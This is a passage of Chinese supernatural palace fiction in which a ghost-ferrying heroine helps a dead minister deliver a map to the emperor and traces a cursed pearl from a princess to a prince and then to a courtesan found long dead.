笔杆落地砸出轻响,随之,是额头磕在地面的沉闷声响。
——清晰入耳。
“臣…孟志远,叩见圣上…”
庆康帝顿住。
那声线,明明是一道女声。
但那说话的语气语调,几乎与工部尚书孟志远一模一样。
庆康帝身体僵住,心情复杂:“你…你不是已经…”
“孟志远”抬起了头,眼里显然含着泪水。
“臣…未能为陛下分忧…”
——臣愿为陛下分忧。
这是工部尚书孟志远每次被召见时,向皇帝说的第一句话。
过去,庆康帝耳朵都能听出茧子
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来。
记得最后一次,召他前往“东升殿”谈事,熬了几宿的老臣,面色枯黄,眼里布满了血丝。
他望向他已逐渐佝偻的后背,忍不住说道:“舆图之事,倒也不急于一时,你年纪大了,又生了病,身体要紧。”
孟志远面上淌着笑意:“只要能为陛下分忧,臣毫无怨言。”
想到这些,庆康帝眼眶竟一阵发胀。
“你真是…孟爱卿?”
明明眼前这张脸还很年轻。
而且,细看眉眼,还有几分故人之姿…
他心下又是一震:“这究竟是怎么回事?”
庆康帝回头,只见任风玦站在殿外,遥遥对着他垂首作揖,并说了一句让他无比震撼的话语。
“陛下,孟尚书如今只剩了一缕魂,必须得借助他人躯体,才能见您。”
庆康帝依然觉得荒唐。
但跪在地上的“孟志远”却将画好的舆图毕恭毕敬呈了上来,泪水朦胧了“他”的双眼。
“陛下,这是臣能为陛下做的最后一件事了。”
纸上墨迹虽未干,却已是一幅完整的舆图。
庆康帝觉得难以置信,却不得不信。
除了孟志远,还有谁能画出这幅图?
他指尖轻颤,伸手接过纸张,点了点头,明明有千言万语,到了嘴边只有一句。
“孟爱卿,你…受累了。”
“孟志远”总算露出欣慰的笑意,又在地上重重叩首。
“臣心愿已了,愿陛下龙体康健,福寿绵延…”
庆康帝心情一阵激荡,正想上前扶他。
谁知对方话音落下后,忽然身子一软,便倒在了地上。
“孟爱卿…孟爱卿!”
庆康帝慌恐不已。
任风玦见状,这才进了殿内,向他说道:“孟尚书留在阳间的心愿已了,已经走了。”
庆康帝看了看手里的图纸,又看了看地上的人,恍然间,还以为自己在做梦。
“这…”
任风玦则上前查看了一下夏熙墨的情况,连唤两声不见反应,便将对方抱了起来。
他心下一沉,只得先向一旁的庆康帝说道:“陛下稍安,臣晚些时候再向陛下解释。”
第37章 渡魂
任风玦抱着夏熙墨一路出了御极殿,本想找个太监去唤御医。
因担心会发生上次的情况,他不自觉将她抱紧。
然而,刚出门没多久,怀中人便悠悠醒了过来。
见她原本苍白的脸色已逐渐恢复红润,他才放下心来。
“夏姑娘,你觉得如何?”
面对男人关切的眼神,夏熙墨心里却闪过一丝异样。
虽然“身体”很贪恋对方的怀抱,但理智却不许。
“没事,你放我下来。”
任风玦依言将她放在一旁的栏杆旁。
夏熙墨忽然皱了一下眉。
她觉得额头有点痛,便用手摸了一下。
像是被什么东西磕到过,居然破了皮…
“我的额头怎么回事?”
这种痛感对她而言很陌生。
至少还阳已来,算是头一次。
任风玦见她原本光洁白皙的额头,莫名青红一片,便解释道:“应该是刚刚孟志远附身时,磕在了地上…”
“…”
夏熙墨脸色一下沉了下来。
磕头?
这可比“痛感”更陌生了。
犹记得当年魂魄被押阴司,面对幽冥之主,她都没跪过…
任风玦以为她是爱惜自己的面容,当即微微一笑,“倒也不怕,我一会儿去一趟太医署,讨一瓶凝霜玉膏来便是。”
夏熙墨也懒得解释,见自己手上沾了黑墨,心下了然,只问:“孟志远画的图已经送出去了?”
“是,已经交到皇上手中。”
“嗯。”
任风玦看了她一眼,似乎还是有些不放心,又问:“你现在身体可有不适?”
“没有。”
夏熙墨也望向他,不知为何又解释了一句:“阴魂附体,会被短暂封住魂识,或许会处于昏迷状态,醒来便没事。”
“那就好。”
忽想到刚刚走得匆忙,皇帝那边还需要交代一声,任风玦又道:“方才走得太快,还来不及向皇上解释。”
“你先在此处等我,我回一趟御极殿。”
夏熙墨点头。
任风玦走后,无忧才敢现身。
“那个大官的三魂现已归位,可以送他上路了。”
“嗯。”
孟志远尸骨已被烧成灰,所以,也就无需再渡化。
只要死者心愿已了,三魂归位,选一处阴地,便可以直接用渡魂灯引他通往幽冥。
夏熙墨记得,来御极殿的路上,有一处湖畔,岸边植有杨柳。
柳木属阴,且近水,对于一个被火烧死的亡魂,正好。
凭着记忆,她很快就找到了湖边,并将渡魂灯放在树下。
“你生前执念已了,三魂也已归位,是时候该去阴司了。”
孟志远的魂魄幽幽现了身,看它欲言又止的样子,似乎还有什么顾虑。
夏熙墨又道:“你虽死得蹊跷,但并非人为,我无法帮你血债血偿。”
“能做的,只有渡你去往幽冥,阴司地君自会为你主持公道。”
闻言,孟志远只是摇了摇头,脸上竟浮起一丝笑意:“我自知残躯本就时日无多,以这种方法死去,倒不失为一件幸事。”
“我不在乎身死,只是,还有一事,想麻烦姑娘。”
听了这话,夏熙墨眉目之间,显然有一丝触动。
“何事?”
他幽幽言道:“我只感伤,死得突然,还未能向家中妻女道别…”
“唯有一愿,希望姑娘能替我,向发妻带一句话。”
“可以。”
孟志远面上笑容加深,温声说道:“你代我向她说,今生负卿,来世必偿…”
“来世你们未必相见。”
夏熙墨态度冰冷,看样子并不想给什么情面。
但随即,她又说道:“不过,话我会帮你带到的。”
孟志远朝她深深一拜,“多谢姑娘。”
鬼魂化作一点荧光,绕着黑色莲瓣游走了一周,慢慢消散于灯芯处。
原本无风的湖面,忽掠过一阵温润的清风,顿时清波四散。
夏熙墨在原地驻足了一会儿,眼睛望着波光粼粼的湖面,心下情绪也在微微起伏。
她自嘲,还阳不过半月,竟也沾上了人的“恶性”。
心软就会容易产生牵扯。
对她,皆为不利。
这时,不远处的假山后传来声音。
“公主,你慢点呀,仔细别摔着。”
夏熙墨闻声转头,只见一身粉衣的定安公主正跌跌撞撞小跑着过来
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,身后还跟着几名宫女。
“你知道风哥哥在哪儿?我有话要问他!”
定安公主自然也是一眼就看到了夏熙墨,她认得“他”就是任风玦的贴身小厮,却不知“他”为何独自一人站在这湖边。
夏熙墨定定看了公主一眼,眉头轻轻蹙起。
飘荡在一旁的无忧忍不住出声道:“她身上的煞气好重!”
像是被什么阴邪之物缠了身,定安公主周身煞气浓郁。
而因这股煞气干扰,她原本天真烂漫的脸庞,竟看着有几分凶恶。
见“他”不答话,公主更是怒容满面。
“本公主跟你说话呢,为何不答!”
她眼眶泛起一抹红意,是邪气入侵所致,忽抬高右手,眼见一巴掌就要挥过来。
夏熙墨立即伸手,快一步制住她的手腕。
公主的手,在空中迟迟无法落下,面庞看着更为狰狞。
“你敢!你竟敢!”
夏熙墨毫无畏惧,随着她手上的力道加重,那缕阴煞之气也如临大敌,十分识趣地从公主身上弹了出去。
与此同时,一颗明珠滚落在地上。
赶来的宫女见状皆瞪圆了眼睛,领头宫女更是指着夏熙墨怒斥道:“大胆!竟敢对公主不敬!”
夏熙墨见定安公主双目逐渐恢复清明,才慢慢松开手。
对于宫女的话,她充耳不闻,只俯身将地上珠子捡了起来。
但奇怪的是,珠子本身竟看不出来一点问题。
那煞气又是怎么回事?
“这颗珠子,是谁给你的?”
闻言,定安公主如梦初醒,踉跄着后退了几步,神情惘然。
“我…”
方才在宴席上,三哥禹王对她说,京中传闻,任风玦的宅中藏了一个女人。
她听完,突然妒火中烧,只恨不得要将“那个女人”千刀万剐!
这个念头一起,她更是心烦意燥,甚至不可自控地当场离开了御花园,就连戚贵妃也喊不住她。
可就在刚刚那一瞬间,心中的那股燥意与妒火突然消失了。
想到这里,定安公主只觉得一阵天旋地转,意识开始模糊,
在一片惊叫声中,她突然腿脚一软,直接晕倒在地。
第38章 明珠
“戚贵妃到——”
定安公主离开御花园时,戚贵妃便发现了不对劲。
若臻在她跟前,向来乖巧听话,即便是生气,也能明事理。
可当时,她连唤几声,对方都不应,简直一反常态。
戚贵妃到底不放心,便离席跟在了公主身后。
不料,却恰好看到她晕倒在地的那一幕。
此时,旁边的宫女们都吓坏了,有上前查看情况的,有慌忙跑去找御医的。
一时乱作一团。
戚贵妃也着急,向其中一名宫女厉声问道:“公主这是怎么回事?”
那宫女生怕被怪罪,索性用手颤颤巍巍指向一旁的夏熙墨,“回贵妃娘娘,是‘他’!”
“方才,奴婢远远看到,‘他’险些伤到公主…”
戚贵妃认出了夏熙墨正是先前跟随着任小侯爷赴宴的小厮。
只是当时,“他”一直垂首站在任风玦身后,并未看清脸。
但此时仔细打量一番后,心里却闪过一丝惊诧。
这人的眉眼,与记忆中的一抹影子尤其相似…
她迟疑着问道:“本宫…可曾在别处见过你?”
夏熙墨还未答话,身后便有人替她把话答了。
“贵妃娘娘,这是臣府上的小厮,方才在宴会上,您必然见过。”
湖岸边,任风玦正阔步而来,即便步伐走得又急又快,说话时的语调却依然平稳。
他三两步走到夏熙墨跟前,先向戚贵妃行了一礼,便立即俯身查看定安公主的情况。
见他到来,戚贵妃明显松了一口气,足见对这位小侯爷是十分信任的。
“小侯爷你来得正好,快看看若臻…”
任风玦懂得一些医理,替定安公主把了一下脉象后,便直接掐住人中穴。
没过一会,晕厥的公主果然悠悠醒转了过来,却一时目光呆滞,认不清人。
这时,几位太医署的御医也相继赶到,混乱的场面总算得到了控制。
定安公主被送回宫殿后,戚贵妃便将贴身伺候的宫女都留下来问话。
这回有任风玦在场,宫女们可不敢再信口雌黄,将实情一五一十地说了。
戚贵妃却很是疑惑:“若臻向来知情达理,体恤宫人,别说**,就连骂人也是极少,又怎会突然对一个小厮出手?”
宫女小声:“当时的公主确实很生气,奴婢们也不知道为什么…”
任风玦回头轻轻看了夏熙墨一眼,却道:“此事只怕是有什么误会,若贵妃娘娘信得过臣,便让臣先问清原由,再给贵妃娘娘一个交代。”
戚贵妃闻言,确实不好再继续追究。
任小侯爷的面子,她多少得给一点。
况且,对方还是定安公主极其信任之人。
于是,她抚了抚衣袖上的皱褶,说道:“这湖边怪冷的,本宫先且回御花园,既然公主已无大碍,那便劳烦小侯爷来处理此事。”
“是。”
戚贵妃又淡淡瞥了夏熙墨一眼,向一旁宫人招手。
“走。”
一行人浩浩荡荡便离开了。
任风玦转过身来,正要问话,谁知夏熙墨倒率先递来一样东西。
“想知道公主为何晕倒,查一下这颗珠子的来历。”
“……”
任大人一时都有点分不清主次。
怎么倒被她命令着做事了?
但他还是将珠子接到手中,问:“这颗珠子有何蹊跷之处?”
“珠子是从公主身上掉下来的,刚刚公主煞气缠身,应该与这个有关。”
任风玦疑道:“可是鬼魂?”
“没有看到鬼魂,只看到一股煞气。”
通常,一般鬼魂,身上只有阴气,并无煞气。
能形成煞气的,便只有作恶多端的凶灵恶鬼。
除此之外,煞气更重的,便是九幽囚魂了。
但九幽在阴司最深处,有恶神**,及十万阴兵看守,若非地君准许,根本逃不出。
可刚刚附在公主身上的煞气十分浓厚,若真是恶鬼凶灵,那也必然已在人间滞留了许久。
当然,这样一联想,又不禁会想到杀死孟志远的那只恶鬼,二者之间,可有关联?
任风玦将珠子放在手里端详,确实并非凡品,应该是花了大价钱得来了的。
恰好这时,一位宫女小跑着过来禀告:“小侯爷
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,公主清醒过来了,吵着要见您呢。”
任风玦便将珠子收了起来,对一旁的夏熙墨道:“走,我顺带去问问公主。”
谁知,夏熙墨冷漠回道:“此事与我无关,你自己去就好。”
任风玦忍不住疑惑:“这事你为何又不管了?”
“不是我要找的鬼魂,我自然不会管,也不想管。”
见她态度决绝,任风玦也不能强人所难。
他一哂,只好换了一种方式说道:“好吧,此事你不管。”
“不过,你现在的身份是我的‘贴身小厮’,这皇宫重地,人多眼杂,你除了跟我,也无处可去。”
“……”
夏熙墨虽不情愿,却也不得不认同他的话。
人间规矩多,皇宫的规矩更多。
她不想麻烦,便只有乖乖跟在他身边。
“走吧。”
见夏熙墨妥协。
任风玦心里莫名一阵舒爽。
为了方便御医诊治,定安公主被安置在最近一间暖阁内。
此时,室内室外皆站了不少人,连庆康帝也被请了过来。
任风玦进**内后,正在皇帝怀中撒娇的定安公主立即抬起头来。
“风哥哥…”
庆康帝回头看了他一眼,立即招手,“过来吧,若臻有话要问你。”
任风玦只能领命上前。
“公主想问臣什么?”
定安公主看了庆康帝一眼,小声道:“爹爹,我可以单独跟风哥哥说几句话吗?”
爱女的小心思都被皇帝看在了眼里。
他抚须一笑,“好,你既没事,爹爹便先回宴席上了。”
庆康帝走后,左右宫人也自觉屏退。
定安公主则开门见山地问:“风哥哥,外面都说,你宅中藏了一个女人,她是谁?”
任风玦一噎。
没想到居然是这样一句话。
“这话是谁告知给公主的?”
定安公主也不隐瞒,“是三哥…”
“他还送了我一颗很漂亮的珠子,可惜刚刚丢了,她们还没找来还给我。”
任风玦面色微变,便将怀中的珠子拿了出来,并问道:“可是这颗珠子?”
第39章 煞气
暖阁外,夏熙墨默默找了一处僻静角落站着,尽量避开人群。
没过一会儿,她便远远看见庆康帝被一群宫人簇拥着走出去。
虽隔了一些距离,庆康帝似是有感应一般,目光遥遥望了过来,像是若有所思。
夏熙墨能感受到那目光里的探究之意,心想,也不知任风玦是如何跟皇帝解释的。
好在他只是瞥了她一眼,并没有喊她过去问话,身影很快便走远了。
然而,庆康帝前脚刚走,禹王赵骍随之而至,身后还跟着金羽卫领将裴勇。
夏熙墨一眼就认出了裴勇便是当日在天香阁外拦路的人,所以,前者的身份也是一目了然。
两人走到门口处,赵骍向一旁的宫女问道:“定安公主现在如何了?”
宫女盈盈一拜,“禹王殿下,公主正在与小侯爷谈话。”
“哦!”
赵骍闻言,看起来竟有几分幸灾乐祸,“那便不打搅他们了。”
他作势要走,却一眼瞥见了角落里的夏熙墨,又问:“那边又是谁?”
宫女道:“是小侯爷的人。”
赵骍点头的同时,还上下打量了对方两眼,心中忽然掠过一丝怪异的感觉。
这小厮看着不太对劲。
他有意想刁难,便道:“把那人叫过来,我问问话。”
裴勇立即领命走上前去,毫不客气地说道:“禹王殿下喊你过去问话呢!”
夏熙墨抬起头来,一双幽深的眼睛望了过来,直教裴勇胸口一荡。
“是你!”
他认出来了。
那日在天香阁内与庄小姐作对的人!
还真是踏破铁鞋无觅处,得来全不费工夫。
裴勇莫名激动,当即回头小声向禹王道:“殿下,此人便是当日在天香阁得罪庄小姐的人。”
“是个女人?”
赵骍倏地眯了一下眼睛,显然一下子就来了兴趣。
他将双手负在身后,朝着夏熙墨的方向走近了几步。
待完全看清对方面容时,心下微惊。
虽说眼前女子一身男装打扮,却实在颇有些姿色。
至少,这样的容貌,在如今的京中贵女之中,定能排得上名号。
难怪连任风玦这样光风霁月的人,都会耐不住要“金屋藏娇”。
换作是他的话,也难拒绝…
“任小侯爷对姑娘还真是步寸离不得啊。”
赵骍用颇为戏谑的语气,说着酸不溜秋的话,又道:“连赴公主的生辰宴,也要带上,还真是情深意重!”
夏熙墨原本不打算理睬此人。
但目光一扫,却瞥见他身上竟萦绕着淡淡的阴煞之气。
与定安公主身上一致。
所以,不难猜出,送出那颗明珠的人,就是他了。
夏熙墨望向他身后的裴勇,故意问道:“当日我在天香阁所说的话,你照做了吗?”
裴勇不料她会当着禹王的面这样问自己,当即一愣。
“什么…什么话?”
夏熙墨依然冷言冷语:“你不照做,所以庄小姐回去就中邪了,是不是?”
“……”
这下,连禹王的面色也变了。
他瞪了裴勇一眼,隐有怒气,“竟然还有这种事?”
“殿下,属下绝不敢欺瞒殿下,都是这女人…在胡说八道!”
其实,现在回想起来,当时的夏熙墨确实说过。
但裴勇根本没当回事。
此时再想起来,一股凉意开始悄悄爬上后背,以至于再看向夏熙墨时,竟多了几分惧意。
太邪乎了!
夏熙墨面若冰霜,说出来的话,也似冰刀雪刃。
“我有没有说过,你心里自当清楚。”
“但过了今夜,你们庄小姐也该好转了。”
“不过——”
她声线清冷,视线忽而转向一旁的禹王赵骍:“你大概也是沾上邪祟了。”
此言一出,赵骍顿时如同乌云罩顶。
裴勇更是起了杀心:“再敢胡言乱语,可别怪我不客气!”
他虽这么说,心底根本没底气。
甚至想,要是对方所言属实,禹王估计也要遭殃。
等到那时…
暖阁的门,忽然被人打开,只见任风玦出现在门口处,长身玉立。
“禹王殿下。”
他出声打破僵局,又道:“殿下来得正好,
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有些事情正想当面问问。”
赵骍闻言,原本便不好看的脸色,更加不好看了。
试问当今朝堂之中,有谁愿意被任风玦问话?
这可意味着倒霉事将要临头!
他缓缓转过身,惯用那皮笑肉不笑的姿态,说道:“小侯爷这话说得本王都有些惊恐了。”
“不知道的,还以为本王与什么凶案扯上了关系。”
任风玦微微一笑,侧身指向旁边的花厅,“公主已经服药睡下了,还请禹王殿下借一步说话。”
赵骍虽不情愿,却也不得不配合。
毕竟对方背后有皇权撑腰,而自己,暂时还不得父皇器重。
两人一前一后进了花厅,宫人立即奉上热茶。
任风玦态度谦和,请了禹王上座后,便将一颗明珠放在案台上。
茶雾萦绕之间,那颗明珠晶莹光润,一看就价值不菲。
赵骍表示不解:“这是本王送给若臻的生辰礼,为何会在你那儿?”
任风玦慢慢落座,才道:“实不相瞒,定安公主便是因这颗珠子才晕倒的。”
“什么?”
赵骍立即火气上头:“一派胡言,一颗珠子而已!这也能赖我?”
任风玦倒是面容平静,拿起桌上茶水喝了一小口,这才说道:“王爷不若先说说,这颗珠子的来历。”
赵骍面有怔色,却刻意保持着平静:“自然是本王花重金买来的…”
在刑部多年,任风玦太擅藏察言观色…
经验告诉他,禹**显在说谎话。
“在何处买来的?”
赵骍很不耐烦:“是本王派下人去买的,哪里能知道得那么清楚?”
任风玦却不急不躁:“好,殿下既然不知,那明日我让刑部的人去一趟贵府,将那位买珠子的下人带回来仔细问问。”
眼见禹王就要发作,他又继续说道:“此事关乎到定安公主的安危,我自会先禀明了圣上再行事…”
赵骍气得脸上忽青忽白,“好你个任风玦,敢拿父皇压我?!”
任风玦嘴角浮起笑意,“不敢,此事查清楚了,不但是为公主,也是为了禹王殿下。”
第40章 出处
“任风玦,你究竟是什么意思?!”
任风玦的一番话,彻底激怒了禹王赵骍。
他终于按捺不住,气得拍案而起,震得茶水四溅。
就连那颗明珠也滚落在地上,突然碎裂。
可就在这时,一股诡异的黑气从中而出,绕着屋梁盘旋,忽然又消失不见。
赵骍真真切切看到这一幕,不禁揉了揉眼睛…
震惊之余,后背也惊起凉意。
“刚刚那是…”
任风玦也皱起了眉头。
又是黑煞之气。
他望向禹王赵骍,“殿下,方才你也看到了。”
“你也看到了?”
赵骍满脸难以置信。
任风玦点头,“是一团黑气。”
“那颗珠子里怎么会…”
怎会有那样古怪的一团黑气?
趁着赵骍惊疑不定,任风玦又问:“所以,殿下该信了我所说的话了吧?”
赵骍不语,重新坐回到茶案前,望着案上茶渍,却陷入了沉思。
他很纠结,却也惜命。
“这颗珠子,其实是…红袖楼的如烟献给本王的…”
红袖楼是京中有名的烟花之地。
这地方不同于一般的青楼楚馆,里面的花娘,大多曾出身高门,要么是罪臣之后,要么是没落贵族。
而京中能去得起红袖楼的,那也绝非一般的寻芳客。
赵骍在红袖楼只有一个相好,这人便是如烟。
他们相识多年,感情很好。
禹王也曾许诺,等到自己成亲后,便会为如烟赎身,并纳她为妾室。
但如烟毕竟是烟花女子,赵骍才得皇上赐婚了庄家嫡女,并不想在成婚前,暴露二人的关系。
想到这里,赵骍的面色也颇为难看。
任风玦倒是波澜不惊,只问:“那你可知,如烟又是如何得来的?”
这样贵重的东西,就算对于一个“千金缠头”的花娘而言,也绝对是奢侈的。
她得了这样的稀罕之物,居然想着献给禹王,可见情深意重。
赵骍摇头:“她没讲过,而且我将此物带回王府后,便随手丢给了随从。”
“还是今日出门前,匆匆忙忙让下人找出来,倒不知…会发生这样的事情。”
说到这里,他似乎有些难为情。
难怪前面不肯承认此事。
任风玦心里已大概有了底:“我会继续查明此事。”
“等等。”
赵骍面色尴尬,忽然拉住他,“我与红袖楼如烟姑娘之事,你可否…不要说出去?”
任风玦当然知道他的顾虑。
对于此事,最重要的,还是不能让庄小姐知晓。
不然依她的性格,就算不找如烟麻烦,也会去章皇后宫里哭一通。
到时候,事情再闹到庆康帝那里,只怕会对这个儿子更加失望。
他淡然道:“红袖楼那种地方,殿下还是别再去了,被庄小姐知道了事小,要是真撞了邪气,恐有性命之忧。”
闻言,赵骍浑身一震,这下可不敢不信了。
再联想到夏熙墨方才所说的话,吓得连忙保证:“本王必不会再去了!”
从花厅出来后,赵骍面色古怪,眼神慌张,显然余惊未消。
他将裴勇叫到跟前来,问道:“当日在天香阁,那女子究竟跟你说了什么?”
裴勇也心有余悸,但还是如实道:“她…让属下去找个道士给庄小姐驱邪…”
“一会儿出宫,你立即去找。”
这话让裴勇微愣了一下,迟疑着道:“是…是!”
赵骍怕他那榆木脑海想不明白,连忙又补充了一句:“记住,是找来给我驱邪的!”
“……”
裴勇震惊不已,张了张嘴,最终还是硬着头皮应下了此事。
——
自宫中赴宴归来,已是薄暮时分。
这一路上,夏熙墨都没有说过一句话。
看来,她这个人确实言出必行,不想管的事情,是一个字也不会多问。
可越是如此,任风玦就忍不住想要跟她搭话。
“方才在花厅中,那颗珠子摔碎了…”
正在闭目养神的夏熙墨恍若未闻,竟连眼皮子也不抬。
任风玦又道:“我当时见到一缕黑气从里面跑出来,大概就是你所说的‘煞气’了。”
“……”
“你前面说,孟尚书是被一抹黑影穿透了身体,有没有可能,这二者也有关联?”
闻言,她总算睁开了眼睛。
那双黑眸,在沉沉暮色之下,愈发幽冷。
“杀死孟志远的‘东西’,远不似你想象中那么简单。”
“你查查人间的案子
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也就算了。”
“鬼魂之事,劝你少管。”
任风玦微微顿住。
心想,就算是鬼魂所为,却不见得与人没有半点关系…
就像孟志远之死,倒更像是有人想要阻止漕粮转运的舆图落到圣上手中,才暗中使出的诡计。
圣上那边他虽已交代清楚,但案情在他看来,只是完成了一部分。
还有更重要的一部分,并未浮出水面。
马车在这时停了下来,阿夏放下踏板,示意任宅已到。
眼见夏熙墨要起身下车,任风玦故意舒展了一下身体,用一双长腿不偏不倚挡住去路。
忽然,又反问了她一句:“若是鬼魂**,我也管不得?”
“可以。”
夏熙墨冷眼睨着他那双腿,竟直接跨了过去。
“记得找人收尸。”
“……”
——
东院客房内亮着灯,天青正坐在门口处打盹。
听到脚步声,她才悠悠醒转过来。
“姑娘回来了?”
“嗯。”
夏熙墨走进室内,目光不经意一瞥,却见窗台上摆满了盆栽。
都是一些应季的花草,即便在这样的寒冬时节,也能看到一片红翠。
天青解释道:“这些都是奴婢白日里去市集买的,姑娘可还喜欢?”
夏熙墨走到窗边,见明月初升,清辉笼罩之下,其中的一株秋海棠看着色泽怪异。
她用手指抚了抚花瓣,花枝便轻轻颤动了起来。
“这盆花在哪里买的?”
天青看了一眼,说道:“都是在一处买的,不过这一株…”
“咦?”她似乎也很迷惑:“怎么多了一株?”
此时的窗台上,拢共有四株秋海棠,白两株,红两株。
记得白日只采买了三株,两白一红,红的那株还是透着粉的浅红。
但现在,却平白无故多了一株鲜红色,在月色映照之下,红得诡艳…
夏熙墨吩咐道:“把它先放到院子里去。”
天青只当她不喜欢,当即就把花搬走了。
无忧却在这时现身漂浮在窗台上,朝着外面张望,似有茫然。
“我好像闻到了鬼魂的气息,但感觉又有些不对…”
夏熙墨转身回房,轻飘飘地说了一句:“晚点就知道了。”
第41章 **
子夜。
天青是被一阵忽近忽远的哭声吵醒的。
睁开眼时,恍然以为自己还在做梦。
她揉了揉眼睛,见窗外还是黑夜,便打算翻身继续入睡。
然而,眼角的余光里,却瞥见门口处正立着一道熟悉的身影。
“夏姑娘?”
她坐起身来,拿起火折子点亮烛灯,又问了一句:“夏姑娘,是有什么事吗?”
影子不答,却伸手敲了敲房门。
天青虽觉得诡异,但还是壮着胆子下了床。
她硬着头皮走到门前,朝主屋看了一眼,里面亮着灯,证明夏熙墨确实起来了。
天青迟疑着慢慢打开房门,忽有一阵阴风扑面而来,吹得她眼前一片模糊。
然而,等她再睁开眼睛时,立在门外的人居然不见了。
四下静得可怕,只有一盆秋海棠,孤零零立在台阶前。
那鲜红的花瓣,在明月的映照之下,竟慢慢渗出了鲜红的血。
由一滴,两滴,逐渐变成一滩…
鲜血顺着台阶开始向下流淌,流向整个庭院,就连月亮也逐渐变成了诡异的红色。
天青已恐惧到了极点,她张了张嘴,发现自己竟叫不出声,脚下也丝毫无法动弹。
她只能眼睁睁看着那株秋海棠如同长了腿一般,朝着自己快速靠近。
越来越近…
诡艳的花枝,像是一只鬼手,开始顺着她的腿脚往上爬…
眼见,就要缠住她的脖子。
一只白皙纤细的手,忽然伸过来,一把抓了花枝。
“回去。”
夏熙墨一声轻喝,天青的身体便不受控制踉跄后退。
房门,应声而闭。
看着手里的“秋海棠”,夏熙墨眯了一下眼睛。
“你是什么东西?”
花枝试图挣扎,却没能挣开,只能发出怪异且刺耳的嘶鸣。
夏熙墨悄悄运力,将花枝掷向半空。
只见一缕无形态的阴魂,立即被弹在了地上。
“你…到底是人是鬼?”
望着面前的人,阴魂因恐惧而浑身战栗。
夏熙墨却道:“我倒想问问,你是什么东西?”
阴魂瑟瑟发抖,却也迷惘,也不知是回答不上来,还是已经记不起。
“我…”
同样身为无形态的阴魂,无忧忍不住现了身,两缕魂面面相觑,一时竟分不清彼此。
渡魂灯发出轻颤,证明这是一缕枉死之魂。
但…
无忧嗅了又嗅,却很迷惑。
“它身上除了有一股不属于它的煞气之外,同时还夹杂着很大的怨气。”
“但它自主意识薄弱,又不像是散魂,还能附身…”
“我也说不上来,到底是个什么玩意儿…”
夏熙墨皱眉。
心想,任宅这地方因有任风玦在,普通鬼魂根本不敢入内。
可这缕阴魂不仅敢现身,甚至还敢害人…
“你究竟从何而来?又是因何而死?”
阴魂一震,却慢慢幻化成一个女子的形态,低泣着:“我不记得了,我只知道,她死得好惨…”
“她?”
夏熙墨眸光一凝,若有所思。
——
红袖楼的清晨,总是格外清闲安静。
与夜里花灯迷离宾客如织的景象,完全大相径庭。
而对于突然造访的“贵公子”,管事妈妈芙姐倒显得有些无措。
青楼楚馆基本做的都是夜间生意,哪有**早上门来的?
也太不懂规矩。
但见对方衣冠楚楚,气度不凡,芙姐又耐下性子,请对方上座看茶。
“这位公子爷看着面生呀?是头一次来?”
芙姐满脸堆着笑意,虽是徐娘半老的年纪,却也风韵犹存。
“贵公子”任风玦落座后,四下打量了一番,直接开门见山:“找你们如烟姑娘。”
“如烟?”
听到这个名字,芙姐面色变了变,说道:“这事恐怕不巧,如烟姑娘前几日生了病,至今,还在房里养着呢。”
任风玦心下却起了疑,“生了什么病?”
芙姐知道来这儿的贵客都挑,对方既指名道姓要找如烟姑娘,那大概其他花娘也不会轻易见。
可如烟现今的情况,也确实不好见人。
她只能面露为难之色,叹了口气:“也不知是什么病,已经请过好几个大夫看过了,药也吃了不少,都不见好。”
“说来也怪,原本好端端的一个人,一夜之间忽然就病倒了,先前也没什么征兆。”
似怕任风玦误会
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,芙姐又解释了一句:“不过公子放心,并不是什么脏病,是她身子骨太弱了,再调养调养就好了。”
听她这么说,任风玦心下疑云更浓,他附和了一句:“那真是可惜。”
“不过说起来,我想见如烟姑娘已久,今日只求一睹芳容。”
他说着,便掏出一片金叶子,默默放在了案上。
芙姐见他出手如此阔绰,着实吃了一惊。
她虽纠结,但做这行生意,哪能跟钱过不去?
“只要公子不嫌弃病人房里气味难闻,奴家倒是可以安排…”
任风玦点头:“劳烦安排。”
芙姐顺手拿了金叶子,朝他盈盈一拜,“既如此,公子在此稍候片刻。”
约莫半炷香过后,她将任风玦亲自带上二楼,来到一间房前。
芙姐先是敲了敲门,说了一句:“姑娘,贵客进来了。”
说着,也不管里面的人是否答应,便径自推门而入。
门开的那刻,立即传来一股浓郁的臭味。
任风玦办案多年,一下子就闻出了这味道有问题。
若没有猜错的话,很大可能是尸臭…
活人房里怎会传出尸臭?
芙姐哪知臭味如同浓郁,明明刚刚来之前还好…
她掩着鼻子强忍着恶心,回头看了一眼贵客的脸色,试问了一句:“公子,不如今日还是算了吧?”
“这几日姑娘都要静养,房里也一直没让人收拾…”
红袖楼的名声可比这片金叶子重要。
花娘房中传来恶臭,以后只怕都没人敢来。
“无碍。”
任风玦不退,反而还往里走了几步,目光四下一掠,见梳妆镜前坐着一名白衣女子,正在有一下没一下地梳着头发…
即使屋内进了人,她也没回头看一眼。
芙姐见状,只能先去开窗通风,之后又不悦地向镜前女子说道:“我的姑娘呀,人家贵客都已经进来了,你怎么也不知道起身迎接一下?”
如烟依然不答话,还在讷讷梳着头发。
芙姐以为她还在闹脾气,只能走上前去,并伸手碰了一下如烟的肩膀。
然而下一秒,坐在镜前的如烟,竟直挺挺瘫倒在地,并露出一张看似早已死去多日的半腐面庞。
第42章 如烟
“什么?**?!”
得知红袖楼花娘如烟死去的消息,禹王赵骍腿脚一软,差点跌坐在椅子上。
正值正午骄阳之下,他却如同被一桶冷水浇了满身,遍体生寒。
任风玦拿起桌上热茶喝了一口,垂下眼眸,薄唇轻启:“确实**,我早上去她房里亲眼所见。”
赵骍面色更加复杂:“你…去了红袖楼?”
“是。”
任风玦点头:“为了查那颗珠子来历,又不想夜里过于鱼龙混杂,这才选了清晨上门。”
“……”
赵骍一阵语塞。
这事要是传出去,清晨逛窑子,他任小侯爷绝对是第一人。
任风玦又继续道;“可惜还没见着如烟姑娘的面,人就**。”
“而且,**不止一天。”
赵骍心里一阵七上八下,坐又坐不住,心情复杂:“人是**的?”
“死因蹊跷。”任风玦给出四个字,又道:“仵作验过尸体,并无任何外伤,也无任何**征兆。”
“但现在是最冷的冬日,根据尸体腐烂程度,至少已**十天以上。”
“什么?!”
赵骍这下是真跌坐在椅子上不敢动了。
十天…
明明几日前,他才去红袖楼里见过她啊。
任风玦一眼就看出了端倪,忙问道:“王爷最后一次见如烟,究竟是什么时候?”
赵骍浑身颤抖着,面色已经由白转青,相当难看。
“是…五天前。”
他幽幽吐出这几个字。
这下,连任风玦的脸色也变了。
“王爷,你现在仔细回想一下,最后一次见如烟时,她房中可有什么奇怪的味道?”
“抑或是她自己,可有怪异的举动?”
